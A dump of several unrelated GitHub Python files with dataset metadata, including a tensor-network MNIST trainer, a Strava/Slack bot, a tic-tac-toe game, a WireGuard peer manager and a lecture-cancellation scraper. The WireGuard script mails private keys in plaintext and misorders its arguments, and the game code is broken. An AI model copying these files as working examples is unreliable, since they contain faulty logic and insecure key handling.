np.einsum('ija,klab,mnbc,opc,ikmo->jlnp',self.w1[0],self.w1[1],self.w1[2],self.w1[3],now)\n \n\n self.outputs.append(now)\n now = self.relu(now)\n \n self.outputs.append(now)\n \n now = contract('ija,klab,mnbc,opc,ikmo->jlnp',self.w2[0],self.w2[1],self.w2[2],self.w2[3],now)\n now = now.reshape(10)\n \n self.outputs.append(now)\n \n now = self.soft_max(now)\n \n self.outputs.append(now)\n\n return now\n \"\"\"\"\n outputs=[入力(4,7,7,4),w1入力(4,4,4,4),relu後(4,4,4,4),w2後(10),soft_max(10)]\n \"\"\"\n def backward(self,y):\n delta0 = self.outputs[4]-y\n \n delta0 = delta0.reshape(1,1,10,1)\n deltaw20 = contract('xbcd,bqzj,cwjk,dek,yqwe->xyz',self.outputs[2],self.w2[1],self.w2[2],self.w2[3],delta0)\n deltaw21 = contract('axcd,aqz,cwpk,dek,qywe->xyzp',self.outputs[2],self.w2[0],self.w2[2],self.w2[3],delta0)\n deltaw22 = contract('abxd,aqi,bwiz,drp,qwyr->xyzp',self.outputs[2],self.w2[0],self.w2[1],self.w2[3],delta0)\n deltaw23 = contract('abcx,aqi,bwij,crjz,qwry->xyz',self.outputs[2],self.w2[0],self.w2[1],self.w2[2],delta0)\n\n delta1 = contract('aqi,bwij,crjz,dyz,qwry->abcd',self.w2[0],self.w2[1],self.w2[2],self.w2[3],delta0)\n \n delta2 = self.delta_relu(delta1,self.outputs[1])\n \n deltaw10 = contract('xbcd,bqzj,cwjk,dek,yqwe->xyz',self.outputs[0],self.w1[1],self.w1[2],self.w1[3],delta2)\n deltaw11 = contract('axcd,aqz,cwpk,dek,qywe->xyzp',self.outputs[0],self.w1[0],self.w1[2],self.w1[3],delta2)\n deltaw12 = contract('abxd,aqi,bwiz,drp,qwyr->xyzp',self.outputs[0],self.w1[0],self.w1[1],self.w1[3],delta2)\n deltaw13 = contract('abcx,aqi,bwij,crjz,qwry->xyz',self.outputs[0],self.w1[0],self.w1[1],self.w1[2],delta2)\n \n\n self.w2[0]-=self.eta*deltaw20\n self.w2[1]-=self.eta*deltaw21\n self.w2[2]-=self.eta*deltaw22\n self.w2[3]-=self.eta*deltaw23\n self.w1[0]-=self.eta*deltaw10\n self.w1[1]-=self.eta*deltaw11\n self.w1[2]-=self.eta*deltaw12\n self.w1[3]-=self.eta*deltaw13\n \n def loss_function(self,x_data,y_data):\n return -(y_data.T@np.log(x_data))\n\n def fit(self):\n n_sample = int(np.ceil(len(self.tX_train)/self.batch_size))\n for _ in range(self.n_iter):\n for i in range(n_sample):\n index = np.random.randint(0,len(self.tX_train))\n batch_x=self.tX_train[index]\n batch_y = self.yr_train[index]\n\n output = self.forward(batch_x)\n\n self.backward(batch_y)\n \n #print('iter:',_,'time:',time.time()-self.time)\n #self.time = time.time()\n\n if _%100==0:\n now_acc =0\n now_loss = 0.\n #for i in range(len(self.X_train)):\n # output = self.forward(self.X_train[i])\n # if np.argmax(output)==self.y_train[i]:\n # now_acc+=1 \n # \n # now_loss += self.loss_function(output,self.yr_train[i])\n for i in range(len(self.tX_test)):\n output = self.forward(self.tX_test[i])\n if np.argmax(output)==self.y_test[i]:\n now_acc+=1 \n now_loss += self.loss_function(output,self.yr_test[i])\n\n #now_acc/=(len(self.X_train))\n #now_loss/=(len(self.X_train))\n now_acc/=(len(self.X_test))\n now_loss/=(len(self.X_test))\n #self.train_accuracy.append(now_acc)\n self.test_accuracy.append(now_acc)\n self.train_loss.append(now_loss)\n #print('iter:',_,'accuracy:',now_acc,'loss_function:',now_loss,'time:',time.time()-self.time)\n print('iter:',_,'accuracy:',now_acc,'loss_function:',now_loss,'time:',time.time()-self.time)\n self.time = time.time()\n\n plt.plot(self.test_accuracy)\n plt.show()\n\n def test(self):\n now_acc =0\n now_loss = 0.\n for i in range(len(self.tX_test)):\n output = self.forward(self.tX_test[i])\n if np.argmax(output)==self.y_test[i]:\n now_acc+=1 \n now_loss += self.loss_function(output,self.yr_test[i])\n\n now_acc/=(len(self.tX_test))\n now_loss/=(len(self.tX_test))\n self.test_accuracy.append(now_acc)\n self.test_loss.append(now_loss)\n print('test_accuracy:',now_acc,'test_loss_function:',now_loss)\n\n\n\nif __name__ == '__main__':\n cnn = mpo_fc2(eta=0.01,n_iter=1000,batch_size=100)\n cnn.fit()\n cnn.test()\n\n\n ", "repo_name": "koboritakumi/mnist-code-for-submit", "sub_path": "mnist_mpo.py", "file_name": "mnist_mpo.py", "file_ext": "py", "file_size_in_byte": 8662, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "numpy.array", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 48, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 48, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.random.random", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 54, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 60, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 96, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 117, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 126, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 143, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 144, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 145, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 146, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 148, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 152, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 153, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 154, "usage_type": "call"}, {"api_name": "opt_einsum.contract", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 168, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 171, "usage_type": "call"}, {"api_name": "numpy.random.randint", "line_number": 174, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 174, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 196, "usage_type": "call"}, {"api_name": "time.time", "line_number": 208, "usage_type": "call"}, {"api_name": "time.time", "line_number": 209, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 212, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 212, "usage_type": "name"}, {"api_name": "numpy.argmax", "line_number": 219, "usage_type": "call"}]} {"seq_id": "23391496711", "text": "import json\n\nfrom stravabot.clients import weather # Should wrap this up\nfrom stravabot.messages import context, field, image, mrkdwn, plain_text, section\nfrom stravabot.models import (\n StravaActivityType,\n StravaAspectType,\n StravaEvent,\n StravaObjectType,\n)\nfrom stravabot.services.map import MapService\nfrom stravabot.services.slack import SlackService\nfrom stravabot.services.strava import StravaService\nfrom stravabot.services.user import UserService\nfrom stravabot.utils import format_time\n\n\nclass StravaEventProcessor:\n def __init__(self, users: UserService, strava: StravaService, maps: MapService, slack: SlackService):\n self.users = users\n self.strava = strava\n self.maps = maps\n self.slack = slack\n\n def process(self, event: StravaEvent) -> None:\n if event.updates.get(\"authorized\") == \"false\":\n self.users.delete(event.owner_id)\n return\n\n if event.aspect_type is not StravaAspectType.CREATE or event.object_type is not StravaObjectType.ACTIVITY:\n return\n\n user = self.users.get_by_strava_id(event.owner_id)\n if user is None:\n return\n\n with self.strava.session(user) as session:\n activity = session.activity(event.object_id)\n\n if activity.activity_type not in {StravaActivityType.Run, StravaActivityType.Walk}:\n return\n\n weather_data = weather.current(activity.start_location)\n weather_condition = weather_data[\"current\"][\"condition\"][\"text\"]\n weather_temp = int(weather_data[\"current\"][\"temp_c\"])\n message = f\"<@{user.slack_id}> did the {activity.activity_type.value.lower()}!\"\n blocks = [\n section(mrkdwn(message)),\n section(\n field(\"Distance\", f\"{round(activity.distance / 1000, 2)}km\"),\n field(\"Pace\", f\"{format_time(activity.seconds_per_km)}/km\"),\n field(\"Elapsed Time\", format_time(activity.elapsed_time)),\n field(\"Weather\", f\"{weather_condition} ({weather_temp}℃)\"),\n ),\n image(\n image_url=self.maps.generate_map(activity),\n title=plain_text(activity.name),\n alt_text=activity.name,\n ),\n context(mrkdwn(f\"<{self.strava.get_activity_url(activity)}|Open in Strava> :point_left: give some kudos!\")),\n ]\n\n if event.dry_run:\n print(f\"Dry run event: {message}\\nBlocks: {json.dumps(blocks, indent=4)}\")\n else:\n self.slack.post_to_channels(\n text=message,\n blocks=blocks,\n )\n", "repo_name": "Taiters/stravabot", "sub_path": "lambda/stravabot/processor.py", "file_name": "processor.py", "file_ext": "py", "file_size_in_byte": 2633, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "stravabot.services.user.UserService", "line_number": 19, "usage_type": "name"}, {"api_name": "stravabot.services.strava.StravaService", "line_number": 19, "usage_type": "name"}, {"api_name": "stravabot.services.map.MapService", "line_number": 19, "usage_type": "name"}, {"api_name": "stravabot.services.slack.SlackService", "line_number": 19, "usage_type": "name"}, {"api_name": "stravabot.models.StravaEvent", "line_number": 25, "usage_type": "name"}, {"api_name": "stravabot.models.StravaAspectType.CREATE", "line_number": 30, "usage_type": "attribute"}, {"api_name": "stravabot.models.StravaAspectType", "line_number": 30, "usage_type": "name"}, {"api_name": "stravabot.models.StravaObjectType.ACTIVITY", "line_number": 30, "usage_type": "attribute"}, {"api_name": "stravabot.models.StravaObjectType", "line_number": 30, "usage_type": "name"}, {"api_name": "stravabot.models.StravaActivityType.Run", "line_number": 40, "usage_type": "attribute"}, {"api_name": "stravabot.models.StravaActivityType", "line_number": 40, "usage_type": "name"}, {"api_name": "stravabot.models.StravaActivityType.Walk", "line_number": 40, "usage_type": "attribute"}, {"api_name": "stravabot.clients.weather.current", "line_number": 43, "usage_type": "call"}, {"api_name": "stravabot.clients.weather", "line_number": 43, "usage_type": "name"}, {"api_name": "stravabot.messages.section", "line_number": 48, "usage_type": "call"}, {"api_name": "stravabot.messages.mrkdwn", "line_number": 48, "usage_type": "call"}, {"api_name": "stravabot.messages.section", "line_number": 49, "usage_type": "call"}, {"api_name": "stravabot.messages.field", "line_number": 50, "usage_type": "call"}, {"api_name": "stravabot.messages.field", "line_number": 51, "usage_type": "call"}, {"api_name": "stravabot.utils.format_time", "line_number": 51, "usage_type": "call"}, {"api_name": "stravabot.messages.field", "line_number": 52, "usage_type": "call"}, {"api_name": "stravabot.utils.format_time", "line_number": 52, "usage_type": "call"}, {"api_name": "stravabot.messages.field", "line_number": 53, "usage_type": "call"}, {"api_name": "stravabot.messages.image", "line_number": 55, "usage_type": "call"}, {"api_name": "stravabot.messages.plain_text", "line_number": 57, "usage_type": "call"}, {"api_name": "stravabot.messages.context", "line_number": 60, "usage_type": "call"}, {"api_name": "stravabot.messages.mrkdwn", "line_number": 60, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 64, "usage_type": "call"}]} {"seq_id": "69956532700", "text": "import random\n\nfrom requests import get\n\n\nclass Jogodavelha:\n def __init__(self, jogador_1=None, jogador_2=None):\n self.jogador_X = \"\"\n self.jogador_O = \"\"\n self.jogador_1 = jogador_1\n self.jogador_2 = jogador_2\n self.vez = 0\n self.lista_nomes = []\n self.ler_cidades_e_pegar_nomes()\n self.tabuleiroVazio = {}\n self.criar_tabuleiro()\n self.palpitesVazios = list(range(1, 10))\n self.lista_de_posicoes = []\n self.lista_totalpalpites = []\n\n def ler_cidades_e_pegar_nomes(self):\n url = \"https://servicodados.ibge.gov.br/api/v2/censos/nomes/ranking?localidade=3300100\"\n for pessoas in get(url).json():\n for pessoa in pessoas[\"res\"]:\n self.lista_nomes.append(pessoa[\"nome\"])\n\n def tabuleiro(self, **posicao):\n\n print(f' {posicao[\"pos1\"]} | {posicao[\"pos2\"]} | {posicao[\"pos3\"]} ')\n print(\"------+------+------\")\n print(f' {posicao[\"pos4\"]} | {posicao[\"pos5\"]} | {posicao[\"pos6\"]} ')\n print(\"------+------+------\")\n print(f' {posicao[\"pos7\"]} | {posicao[\"pos8\"]} | {posicao[\"pos9\"]} ')\n\n def is_exists(self, jogada, jogador):\n try:\n len(self.tabuleiro[f\"pos{jogada}\"])\n self.tabuleiro[f\"pos{jogada}\"] = jogador\n except KeyError:\n print(\"Você digitou um número já pedido, tente novamente\")\n\n def is_valid(self, jogada):\n while True:\n try:\n jogada = int(jogada)\n break\n except Exception:\n print(\"Você não digitou um número válido, tente novamente\")\n jogada = input(\"Digite uma posição no tabuleiro para jogar: \")\n return jogada\n\n def pedir_jogada(self):\n print(\"-=-\" * 15)\n if self.vez == 0:\n jogada = input(f\"{self.jogador_1}, digite uma posição no tabuleiro para jogar: \")\n\n jogada = self.is_valid(jogada)\n self.is_exists(jogada, self.jogador_1)\n self.vez = 1\n else:\n jogada = input(f\"{self.jogador_2}, digite uma posição no tabuleiro para jogar: \")\n\n print(\"-=-\" * 15)\n return jogada\n\n def verifica_jogada(self, numero_jogadas, **posicao):\n for key, value in posicao.items():\n posicao[key] = \"X\" if numero_jogadas % 2 == 0 else \"O\"\n return posicao\n\n def procurar_vencedor(self):\n possiveis_1 = self[\"pos1\"] == self[\"pos4\"] == self[\"pos7\"]\n possiveis_2 = self[\"pos1\"] == self[\"pos2\"] == self[\"pos3\"]\n possiveis_3 = self[\"pos1\"] == self[\"pos5\"] == self[\"pos9\"]\n possiveis_4 = self[\"pos2\"] == self[\"pos5\"] == self[\"pos8\"]\n possiveis_5 = self[\"pos3\"] == self[\"pos6\"] == self[\"pos9\"]\n possiveis_6 = self[\"pos4\"] == self[\"pos5\"] == self[\"pos6\"]\n possiveis_7 = self[\"pos7\"] == self[\"pos8\"] == self[\"pos9\"]\n possiveis_8 = self[\"pos3\"] == self[\"pos5\"] == self[\"pos7\"]\n lista_possiveis = [\n possiveis_1,\n possiveis_2,\n possiveis_3,\n possiveis_4,\n possiveis_5,\n possiveis_6,\n possiveis_7,\n possiveis_8,\n ]\n\n for possiveis in lista_possiveis:\n if possiveis is True:\n print(\"Temos um vencedor! Parabéns!\")\n return True\n # elif contar_jogadas == 8:\n # print(\"Deu velha! Ninguém ganhou.\")\n # return True\n\n def criar_tabuleiro(self):\n tabuleiro = {f\"pos{nro}\": nro for nro in range(1, 10)}\n self.tabuleiroVazio = tabuleiro\n # return {\n # \"pos1\": 1,\n # \"pos2\": 2,\n # \"pos3\": 3,\n # \"pos4\": 4,\n # \"pos5\": 5,\n # \"pos6\": 6,\n # \"pos7\": 7,\n # \"pos8\": 8,\n # \"pos9\": 9,\n # }\n\n def denovo(self):\n jogar_denovo = input(\n \"\"\"\n Deseja jogar novamente?\n Digite S para SIM ou N para NÃO.\n \"\"\"\n )\n if jogar_denovo.upper() == \"S\":\n print(\"Bem Vindo ao Jogo da Velha! Vamos começar!\")\n print(\"-=-\" * 15)\n return True\n elif jogar_denovo.upper() == \"N\":\n print(\"Até logo!\")\n return False\n # else:\n # return denovo()\n\n\nif __name__ == \"__main__\":\n # print(\"Bem Vindo ao Jogo da Velha! Vamos começar!\")\n # jogador_1 = input(\"Qual é o seu nome? \")\n # jogador_2 = input(\"Qual é o seu nome? \")\n jogador_1 = \"Pedro\"\n jogador_2 = \"Paulo\"\n jogo = Jogodavelha(jogador_1, jogador_2)\n try:\n jogo.jogador_X = jogo.lista_nomes.pop(random.randint(0, len(jogo.lista_nomes)))\n except Exception:\n jogo.jogador_O = jogo.lista_nomes.pop(random.randint(0, len(jogo.lista_nomes)))\n try:\n jogo.jogador_X = jogo.lista_nomes.pop(random.randint(0, len(jogo.lista_nomes)))\n except Exception:\n jogo.jogador_O = jogo.lista_nomes.pop(random.randint(0, len(jogo.lista_nomes)))\n print(f\"Olá {jogo.jogador_1}, você jogará com X\")\n print(f\"Olá {jogo.jogador_2}, você jogará com O\")\n print(\"-=-\" * 15)\n posicao = jogo.tabuleiroVazio\n jogo.lista_totalpalpites = jogo.palpitesVazios\n # print(lista_totalpalpites)\n jogada = jogo.pedir_jogada()\n # while True:\n # tabuleiro(**posicao)\n # jogada = pedir_jogada(lista_totalpalpites)\n # lista_totalpalpites[jogada - 1] = \"X\"\n # posicao = verifica_jogada(jogada, contar_jogadas, **posicao)\n # if procurar_vencedor(**posicao):\n # contar_jogadas = 0\n # tabuleiro(**posicao)\n # posicao = tabuleiroVazio()\n # lista_totalpalpites = palpitesVazios()\n # if not denovo():\n # break\n #\n # contar_jogadas += 1\n # if vez == 0:\n # vez += 1\n # else:\n # vez = 0\n", "repo_name": "luxu/fpython", "sub_path": "jogo-da-velha.py", "file_name": "jogo-da-velha.py", "file_ext": "py", "file_size_in_byte": 5916, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "69", "api": [{"api_name": "requests.get", "line_number": 23, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 140, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 142, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 144, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 146, "usage_type": "call"}]} {"seq_id": "34987129018", "text": "#!/usr/bin/python3\n\"\"\"Starts a Flask web application listening on any interface port 5000.\nRoutes: /cities_by_states - Displays a HTML page with a list of all states\n present in DBStorage and the cities in the states.\n\"\"\"\nfrom models import storage\nfrom flask import Flask\nfrom flask import render_template\n\napp = Flask(__name__)\n\n\n@app.route(\"/cities_by_states\", strict_slashes=False)\ndef cities_by_states():\n \"\"\"Displays an HTML page with a list of all states and the cities in the states\n States and cities are sorted by name.\n \"\"\"\n states = storage.all(\"State\")\n return render_template(\"8-cities_by_states.html\", states=states)\n\n\n@app.teardown_appcontext\ndef teardown(exc):\n \"\"\"Cloese the current SQLAlchemy session.\"\"\"\n storage.close()\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\")\n", "repo_name": "McBrian103/AirBnB_clone_v2", "sub_path": "web_flask/8-cities_by_states.py", "file_name": "8-cities_by_states.py", "file_ext": "py", "file_size_in_byte": 847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "flask.Flask", "line_number": 10, "usage_type": "call"}, {"api_name": "models.storage.all", "line_number": 18, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 19, "usage_type": "call"}, {"api_name": "models.storage.close", "line_number": 25, "usage_type": "call"}, {"api_name": "models.storage", "line_number": 25, "usage_type": "name"}]} {"seq_id": "72336471900", "text": "import asyncio\n\nimport discord\nfrom discord.ext import commands\n\nCOGS = [\n \"cogs.core\",\n]\n\nclass MyBot(commands.Bot):\n def __init__(self, prefix, intents, rust_class):\n super().__init__(command_prefix=prefix, intents=intents, help_command=None)\n self.rust_class = rust_class\n \n async def on_ready(self):\n print(f'ready discordBot Logging as {self.user}')\n\nclass discordbot():\n async def run_bot(self, rust_class):\n self.bot = MyBot(\"!\",discord.Intents.all(), rust_class)\n for cog in COGS:\n self.bot.load_extension(cog)\n await self.bot.start('')", "repo_name": "gosuto0/rustbot", "sub_path": "discordbot.py", "file_name": "discordbot.py", "file_ext": "py", "file_size_in_byte": 612, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "discord.ext.commands.Bot", "line_number": 10, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 10, "usage_type": "name"}, {"api_name": "discord.Intents.all", "line_number": 20, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 20, "usage_type": "attribute"}]} {"seq_id": "14650097068", "text": "# This is the Wireguard WG swiss army knife.\n# You can add, remove, list wireguard clients and send configuration via email, or show QR code in terminal.\n\nimport argparse\nimport json\nimport smtplib\nimport subprocess\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nimport qrcode\n\n\ndef add_peer(ip_address, private_key_file, wg_interface, pubkey=None, output_dir=None, email=None):\n if not pubkey:\n # If no public key is provided, generate a new key pair\n privkey = subprocess.check_output([\"wg\", \"genkey\"]).decode().strip()\n pubkey = subprocess.check_output([\"wg\", \"pubkey\"], input=privkey.encode()).decode().strip()\n # Write the private key to a file\n with open(private_key_file, \"w\") as f:\n f.write(privkey)\n else:\n # If a public key is provided, read the private key from a file\n with open(private_key_file, \"r\") as f:\n privkey = f.read().strip()\n\n # Construct the command to add a new peer\n cmd = f\"sudo wg set {wg_interface} peer {pubkey} allowed-ips {ip_address}/24\"\n cmd += f\" --private-key {private_key_file}\"\n # Run the command using subprocess\n subprocess.run(cmd.split(), check=True)\n\n if email:\n # Export client configuration via email\n qr_data = f\"interface {wg_interface}\\n\"\n qr_data += f\"private_key {privkey}\\n\"\n qr_data += f\"peer {pubkey}\\n\"\n qr_data += f\"allowed_ips {ip_address}/32\\n\"\n qr_data += f\"endpoint :51820\\n\" # Modify this line to include the actual server IP address and port number\n # Construct the email message\n msg = MIMEMultipart()\n msg[\"Subject\"] = \"WireGuard client configuration\"\n msg[\"From\"] = \"your_email@example.com\" # Modify this line to include your own email address\n msg[\"To\"] = email\n msg_text = MIMEText(qr_data)\n msg.attach(msg_text)\n # Save the QR code to a file and attach it to the email message\n img = qrcode.make(qr_data)\n if output_dir:\n filename = f\"{output_dir}/wg_client_{pubkey[:8]}.png\"\n else:\n filename = f\"wg_client_{pubkey[:8]}.png\"\n img.save(filename)\n with open(filename, \"rb\") as f:\n msg_image = MIMEImage(f.read())\n msg.attach(msg_image)\n # Send the email\n with smtplib.SMTP(\"smtp.gmail.com\", 587) as smtp:\n smtp.ehlo()\n smtp.starttls()\n smtp.login(\"your_email@example.com\",\n \"your_email_password\") # Modify these lines to include your own email address and password\n smtp.sendmail(\"your_email@example.com\", email, msg.as_string())\n else:\n # Generate QR code containing client configuration\n qr_data = f\"interface {wg_interface}\\n\"\n qr_data += f\"private_key {privkey}\\n\"\n qr_data += f\"peer {pubkey}\\n\"\n qr_data += f\"allowed_ips {ip_address}/32\\n\"\n qr = qrcode.QRCode(box_size=10, border=4)\n qr.add_data(qr_data)\n qr.make(fit=True)\n img = qr.make_image(fill_color=\"black\", back_color=\"white\")\n\n\ndef remove_peer(pubkey, wg_interface):\n # Construct the command to remove a peer\n cmd = f\"sudo wg set {wg_interface} peer {pubkey} remove\"\n # Run the command using subprocess\n subprocess.run(cmd.split(), check=True)\n\n\ndef list_peers(wg_interface):\n # Construct the command to list the current peers\n cmd = f\"sudo wg show {wg_interface} peers\"\n # Run the command using subprocess and capture the output\n output = subprocess.check_output(cmd.split()).decode()\n # Parse the output and extract the public keys\n pubkeys = [line.split(\"\\t\")[1] for line in output.strip().split(\"\\n\")]\n # Return the list of public keys\n return pubkeys\n\n\ndef save_peers(wg_interface, filename):\n # Get the current peer list\n peer_list = list_peers(wg_interface)\n # Save the peer list to a JSON file\n with open(filename, \"w\") as f:\n json.dump(peer_list, f)\n\n\ndef main():\n # Create an argument parser\n parser = argparse.ArgumentParser(description=\"Manage WireGuard peers\")\n # Add subparsers for each command\n subparsers = parser.add_subparsers(dest=\"command\", required=True)\n\n # Add the \"add\" command\n add_parser = subparsers.add_parser(\"add\", help=\"Add a new peer\")\n add_parser.add_argument(\"pubkey\", help=\"The public key of the new peer\")\n add_parser.add_argument(\"ip_address\", help=\"The IP address of the new peer\")\n add_parser.add_argument(\"private_key_file\", help=\"The path to the private key file\")\n add_parser.add_argument(\"wg_interface\", help=\"The name of the WireGuard interface\")\n\n # Add the \"remove\" command\n remove_parser = subparsers.add_parser(\"remove\", help=\"Remove an existing peer\")\n remove_parser.add_argument(\"pubkey\", help=\"The public key of the peer to remove\")\n remove_parser.add_argument(\"wg_interface\", help=\"The name of the WireGuard interface\")\n\n # Add the \"list\" command\n list_parser = subparsers.add_parser(\"list\", help=\"List the current peers\")\n list_parser.add_argument(\"wg_interface\", help=\"The name of the WireGuard interface\")\n\n # Add the \"save\" command\n save_parser = subparsers.add_parser(\"save\", help=\"Save the current peers to a file\")\n save_parser.add_argument(\"wg_interface\", help=\"The name of the WireGuard interface\")\n save_parser.add_argument(\"filename\", help=\"The name of the file to save the peer list to\")\n\n # Parse the arguments\n args = parser.parse_args()\n\n # Dispatch to the appropriate function based on the command\n if args.command == \"add\":\n add_peer(args.pubkey, args.ip_address, args.private_key_file, args.wg_interface)\n elif args.command == \"remove\":\n remove_peer(args.pubkey, args.wg_interface)\n elif args.command == \"list\":\n peer_list = list\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "devaleriofrancesco/wireguard-victorinox", "sub_path": "wg_victorinox.py", "file_name": "wg_victorinox.py", "file_ext": "py", "file_size_in_byte": 5938, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "subprocess.check_output", "line_number": 17, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 18, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 31, "usage_type": "call"}, {"api_name": "email.mime.image", "line_number": 33, "usage_type": "name"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 41, "usage_type": "call"}, {"api_name": "email.mime.image", "line_number": 44, "usage_type": "name"}, {"api_name": "email.mime.text.MIMEText", "line_number": 45, "usage_type": "call"}, {"api_name": "qrcode.make", "line_number": 48, "usage_type": "call"}, {"api_name": "email.mime.image.MIMEImage", "line_number": 55, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 58, "usage_type": "call"}, {"api_name": "email.mime.image", "line_number": 63, "usage_type": "argument"}, {"api_name": "qrcode.QRCode", "line_number": 70, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 80, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 87, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 99, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 104, "usage_type": "call"}]} {"seq_id": "18658317853", "text": "import re\nfrom datetime import datetime\n\nfrom .base import BaseParser\nfrom .utils import norm\nfrom .static import SupportedPages\n\n\nclass LectureCancellationParser(BaseParser):\n \"\"\"Parser for lecture cancellation page\"\"\"\n URL = SupportedPages.LECTURE_CANCELLATION.value\n\n def parse(self):\n \"\"\"\n Parse lecture cancellation and convert it to dict\n :return: { 'data': [\n {\n 'grade': 学年,\n 'lecture': 科目名,\n 'instructor': 講師名,\n 'cancel_date': 休講日,\n 'week': 曜日,\n 'period': 時限,\n 'detail': 詳細,\n 'created_at': 初回掲載日,\n 'links': [\n {\n 'title': '詳細に含まれるリンクのタイトル',\n 'url': '詳細に含まれるリンクのURL'\n }\n ]\n }\n ]\n }\n \"\"\"\n results = dict()\n results['data'] = list()\n all_tr = self.soup.findAll('tr', attrs={'class': re.compile('^gen_tbl1_(even|odd)$')})\n for tr in all_tr:\n td_list = tr.findAll('td')\n norm_td_list = [norm(td.get_text()) for td in td_list]\n result = {\n 'grade': norm_td_list[1],\n 'lecture': norm_td_list[2],\n 'instructor': norm_td_list[3],\n 'cancel_date': datetime.strptime(norm_td_list[4], '%Y/%m/%d'),\n 'week': norm_td_list[5],\n 'period': norm_td_list[6],\n 'detail': norm_td_list[7].strip().replace('\\t', ''),\n 'created_at': datetime.strptime(norm_td_list[8], '%Y/%m/%d'),\n 'links': [\n {'title': link.text.strip(), 'url': link.get('href')} for link in td_list[7].findAll('a')\n ]\n }\n results['data'].append(result)\n return results\n\n", "repo_name": "StudioAquatan/student_portal_crawler", "sub_path": "student_portal_crawler/parser/lec_cancel.py", "file_name": "lec_cancel.py", "file_ext": "py", "file_size_in_byte": 2053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "69", "api": [{"api_name": "base.BaseParser", "line_number": 9, "usage_type": "name"}, {"api_name": "static.SupportedPages.LECTURE_CANCELLATION", "line_number": 11, "usage_type": "attribute"}, {"api_name": "static.SupportedPages", "line_number": 11, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 38, "usage_type": "call"}, {"api_name": "utils.norm", "line_number": 41, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "name"}]} {"seq_id": "42732029001", "text": "import pygame\nfrom pygame.locals import *\n\n# keys = dict('a',K_A; 'b',K_B;\nLETTERS = [\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"]\n\ndef waitForKey():\n\twaiting = True\n\twhile waiting:\n\t\tevent=pygame.event.wait()\n\t\tif event.type == 